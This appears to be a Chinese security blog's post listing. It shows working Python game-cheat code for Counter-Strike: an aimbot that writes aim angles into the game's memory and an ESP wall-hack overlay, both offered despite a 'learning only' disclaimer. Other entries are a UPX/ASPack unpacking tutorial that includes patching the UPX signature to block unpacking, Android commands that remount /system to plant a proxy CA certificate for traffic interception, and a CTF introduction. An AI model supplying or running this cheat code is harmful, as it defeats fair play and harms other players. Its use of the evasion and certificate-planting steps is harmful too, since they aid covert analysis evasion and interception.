(CE):内存操作与调试工具。Ollydbg (OD):二进制文件调试工具,适用于反汇编和内存调试。WPE:抓包工具,用于数据包编辑与欺骗服务器。实现说明:所有外挂技术基础都是基于对游戏系统的分析和利用系统漏洞进行功能扩展。所有方法都涉及一定程度的反向工程与安全风险,因此需要谨慎使用。注意事项:所有外挂功能都需要在合法范围内使用,否则可能面临法律后果或账户封禁。游戏外挂涉及风险,因此建议仅用于学习和研究,切勿用于商业或非法用途。自瞄代码from Memory64 import * # 导入自定义的内存访问模块 from math import * # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) # 取游戏窗口句柄 func = SetupProce(pid) # 设置进程 Modlue_m = func.GetBaseAddr("cstrike.exe") # 获取模块基址 Modlue_e = func.GetBaseAddr("engine_amxx.dll") # 读取特定内存地址的玩家坐标 Pom = func.ReadMemory(Modlue_m + 0x1033240) # 计算二维坐标之间的距离 def Get_Distance(x1, y2, ex, ey): return sqrt((x1 - ex)**2 + (y2 - ey)**2) / 20 # 启动自瞄功能 def Start_AiMBot(): my_x = func.ReadMemory_float(Pom + 0x88) # 读取玩家 x 坐标 my_y = func.ReadMemory_float(Pom + 0x8C) my_z = func.ReadMemory_float(Pom + 0x90) Enemy_data = [] # 存储敌人数据 Number = 133988 # 初始读取偏移地址 # 遍历敌人的坐标 for _ in range(0, 10): Number += 4 Poe = func.ReadMemory(Modlue_e + Number) # 读取敌人坐标 enemy_x = func.ReadMemory_float(Poe + 0x88) enemy_y = func.ReadMemory_float(Poe + 0x8C) enemy_z = func.ReadMemory_float(Poe + 0x90) enemy_hp = func.ReadMemory_float(Poe + 0x1E0) differ_x = enemy_x - my_x differ_y = enemy_y - my_y _distan = sqrt(differ_x**2 + differ_y**2) differ = Get_Distance(my_x, my_y, enemy_x, enemy_y) AiMBot_y = atan((my_z - enemy_z) / _distan) / pi * 180 # 计算角度 if differ_x > 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第一象限 if differ_x < 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第二象限 if differ_x < 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第三象限 if differ_x > 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第四象限 Enemy_data.append([differ, enemy_hp, AiMBot_x, AiMBot_y]) Enemy_data.sort() if Enemy_data[0][1] < 1: del Enemy_data[0] # 删除血量小于1的敌人数据 try: func.WriteMemory_float(Modlue_m + 0x19E10C4, Enemy_data[0][3] + 1) # 设置准星 y 轴位置 func.WriteMemory_float(Modlue_m + 0x19E10C8, Enemy_data[0][2]) # 设置准星 x 轴位置 except Exception: pass # 程序主逻辑 if __name__ == '__main__': try: while True: if MonitorHotkeys(0x20) != 0: # 按空格键开启自瞄 Start_AiMBot() except KeyboardInterrupt: exit()自瞄讲解{dplayer src="https://www.52tt.pro/usr/uploads/2024/03/4066814740.mp4"/}透视代码from Memory64 import * # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 import numpy as np # 导入数学操作模块 # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) Addr = SetupProce(pid) # 设置目标进程 Modlue_e = Addr.GetBaseAddr("amxmodx_mm.dll") # 获取模块基址 Draws = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制对象 # 初始化矩阵和窗口尺寸 Matarray = np.zeros([4, 4]) GameWinWidth = 1030 / 2 GameWinHeight = 797 / 2 # 开启循环绘制 while True: Draws.startLoop() # 启动绘制循环 initNumber = -4 for i in range(4): for j in range(4): initNumber += 4 Matarray[i][j] = Addr.ReadMemory_float(0x2C20100 + initNumber) # 读取矩阵数据 offset = 0xFFFFFFFFFFFFFCDC for _ in range(2): # 读取敌人坐标数据 offset += 0x324 Poe = Addr.ReadMemory(Modlue_e + 0x1CFE08) # 读取敌人数据块基址 enemy_x = Addr.ReadMemory_float(Poe + 0x88 + offset) # 读取敌人 x 坐标 enemy_y = Addr.ReadMemory_float(Poe + 0x8C + offset) # 读取敌人 y 坐标 enemy_z = Addr.ReadMemory_float(Poe + 0x90 + offset) # 读取敌人 z 坐标 # 计算投影坐标 Vorz = Matarray[0][2] * enemy_x + Matarray[1][2] * enemy_y + Matarray[2][2] * enemy_z + Matarray[3][2] row = 1 / Vorz VorX = GameWinWidth + (Matarray[0][0] * enemy_x + Matarray[1][0] * enemy_y + Matarray[2][0] * enemy_z + Matarray[3][ 0]) * row * GameWinWidth # x 坐标投影 VorY = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z - 50) + Matarray[3][ 1]) * row * GameWinHeight # y 坐标投影 VorY2 = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z + 30) + Matarray[3][ 1]) * row * GameWinHeight # 第二个 y 坐标投影 if Vorz < 0: # 如果投影深度小于零,跳过当前循环 continue FanHeight = VorY - VorY2 # 计算高度差 FanWidth = FanHeight * 0.5 # 计算宽度 Draws.drawText("ACT忆梦", 30, 20, 50, (255, 255, 0)) # 绘制文本 Draws.drawRect(VorX - FanWidth / 2, VorY2, FanWidth, FanHeight, 2, (255, 255, 0)) # 绘制矩形 Draws.endLoop() # 结束绘制循环自瞄效果{bilibili bvid="BV1zb4y1E7kC" page=""/}透视效果{bilibili bvid="BV1Eh411q7tA" page=""/}
2022年07月20日
1,678 阅读
0 评论
422 点赞
2022-06-11
【技术分享】逆向破解手动脱壳篇
简介首先了解下什么是壳,可以理解程序的正常代码是放在壳里的,当运行程序的时候代码执行流程,是先经过壳最终执行正常代码,一般来说加了壳的程序等于没什么用,因为程序运行后依然会释放真正的代码,打个比方:运行程序那么在内存中就还原了正常代码。ESP 定律脱壳这里用压缩壳进行演示,以下是 upx、aspack 工具脱壳与手动脱壳步骤。工具脱壳 - UPX可以发现程序加了 upx 压缩壳,工具也提示可以用 upx -d 命令进行脱壳。upx -d main.exe手动脱壳 - UPX打开 x64dbg 动态调试工具导入程序,它会自动定位到程序的原始入口点(Original Entry Point, OEP),可以看到有个 pushad ,用来把所有通用寄存器的值压入堆栈,就是那8个通用寄存器 EAX,EBX ... ,现在用 esp 定律进行脱壳。运行 F8 快捷键,运行到 pushad 下面,这时候光 esp 有红色。右键 esp 栈顶指针寄存器,选择 "在内存窗口转到",注意左下角内存区域窗口。在这内存里下硬件访问断点,这里我选择了 字节 也可以是其他,只要下了就行。这个时候按 F9 运行,这个时候就断下来了,这个时候只需要按 F8 步过,一直往下就能找到。然后用 x64dbg 自带的插件,scylla 进行脱壳,可以发现脱出 upx1 变成 upx0 那么就已经成功了。手动脱壳 - Aspack可以发现已经加了 aspack 壳,这种压缩壳也是可以用 esp 定律进行脱壳。用以上同样的方式进行脱壳,脱压缩壳通用是完全没有问题的。UPX变异壳只要把 55 50 58 21 改为 2E 62 73 73 那么对应的 ASCII UPX! 变为 .bss, 再用 UPX -d 就无法进行脱壳,只要是名称都可以在里面抹除的,不会影响到程序正常运行。
2022年06月11日
82 阅读
0 评论
3 点赞
2022-05-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年05月10日
480 阅读
0 评论
48 点赞
2022-02-22
【技术分享】Charles 雷电模拟器抓包配置
charles 配置charles 的代理设置 socks 按我图片的步骤进行设置。设置SSL代理捕获所有流量,要把IP和端口设置成任意。这样做的目的是确保能够完全捕获到所有的流量。点击 Help 选择 "Install Charles Root Certificate"(安装Charles根证书),给自己电脑上安装证书,根据我的图进行安装。保存证书,给雷电模拟器内的安卓手机将信任 Charles 证书。雷电模拟器设置雷电模拟器的网络连接方式,要开启桥接模式这样才能与本机同一网段,这样才能使用代理,我这里设置了静态IP(也可以是DHCP)。把导出的证书文件直接拖放到雷电模拟器窗口中。这样可以方便地将证书文件传输到模拟器内,然后到设置安装证书。cd /data/misc/user/0/cacerts-added/ mount -o remount,rw /system mv * /etc/security/cacerts/ mount -o remount,ro /system当安装好证书后,可以发现它只显示在用户信任的凭据中,为了解决一些抓取APK文件时断网的问题,可以通过MT管理器的终端执行以下命令将证书移动到系统级别。Postern 代理设置配置一下与本机的 charles 进行 socks5 代理连接。再配置一下 "配置规则",如图所示。这样就能够抓包了。
2022年02月22日
39 阅读
0 评论
2 点赞
2021-01-05
【CTF解题】CTF入门介绍 ( 基本了解 )
CTF赛制概述CTF(Capture The Flag)是网络安全领域的技术竞技比赛,起源于1996年DEFCON大会,现已成为全球范围内广泛举行的比赛形式。赛题类型涵盖不同的网络安全技术领域,以下是常见的赛制模式及赛题分类:1. Jeopardy-解题模式概述:参赛队伍通过解题获得分数,题目多为网络安全技术挑战。类似ACM编程竞赛,通过解题积累分数,并可能根据时间和得分排名。常见规则:包括“First Blood”(首解)奖励、题目分值动态调整(即解答人数越多,分值越低)。2. AWD-攻防模式概述:参赛队伍不仅要防守自己的系统(GameBox),还需要攻击对方的系统。通过防御和攻击操作获取分数。特点:比赛持续24-48小时,涉及实时攻防对抗,要求参赛队员具有较强的技术与协作能力。3. AWP-攻防增强模式概述:结合攻击与防御,选手攻击一次、修复一次即可完成题目。与AWD相比,选手无需持续维护环境,减少了硬件与运维负担。特点:简化了攻击和防御操作,更注重选手的效率。4. RHG-自动化攻防概述:通过编写自动化程序(bot)进行漏洞挖掘与攻击。选手提交的bot会全自动进行任务,无需人工干预。特点:强调自动化与工程化能力,比赛过程全程自动化运行。5. RW-真实世界模式概述:模拟真实的渗透测试环境,选手需要在真实环境中挖掘漏洞并攻击。比赛时,选手需要展示攻击成果,现场验证攻击效果。特点:与实际工作中渗透测试更为贴近,强调实战能力。6. KoH-抢占山头模式概述:选手通过挖掘漏洞控制目标系统,并进行加固防御,防止其他队伍入侵。定期检查系统标识文件,根据文件标识判定得分。特点:结合渗透攻击与防御加固,强调持续控制与防护能力。7. Mix-混合模式概述:结合多种模式进行比赛,例如解题和攻防模式并行,提升比赛的多样性与挑战性。特点:为参赛队伍提供更多的题型和模式,适应不同的技术需求。CTF赛题分类Web 渗透测试特点:利用 Web 应用漏洞获取敏感信息或控制权限。常见漏洞有 SQL 注入、XSS、命令注入等。工具:Burp Suite、SQLmap 等。Crypto 密码学特点:破解加密算法或编码技术。涉及经典密码、加密算法漏洞分析等。工具:CyberChef、Hashcat 等。Pwn 二进制漏洞利用特点:通过利用二进制漏洞进行攻击,常见如缓冲区溢出、格式化字符串漏洞等。工具:GDB、Pwntools、IDA Pro 等。Reverse 逆向工程特点:通过静态与动态分析程序代码,理解其功能并发现漏洞。工具:IDA Pro、OllyDbg、Ghidra 等。Misc 杂项特点:包括取证、隐写等不容易归类到其他类型的题目。工具:ExifTool、Steghide 等。CTF二次元版
2021年01月05日
36 阅读
0 评论
7 点赞
1
2
3
0:00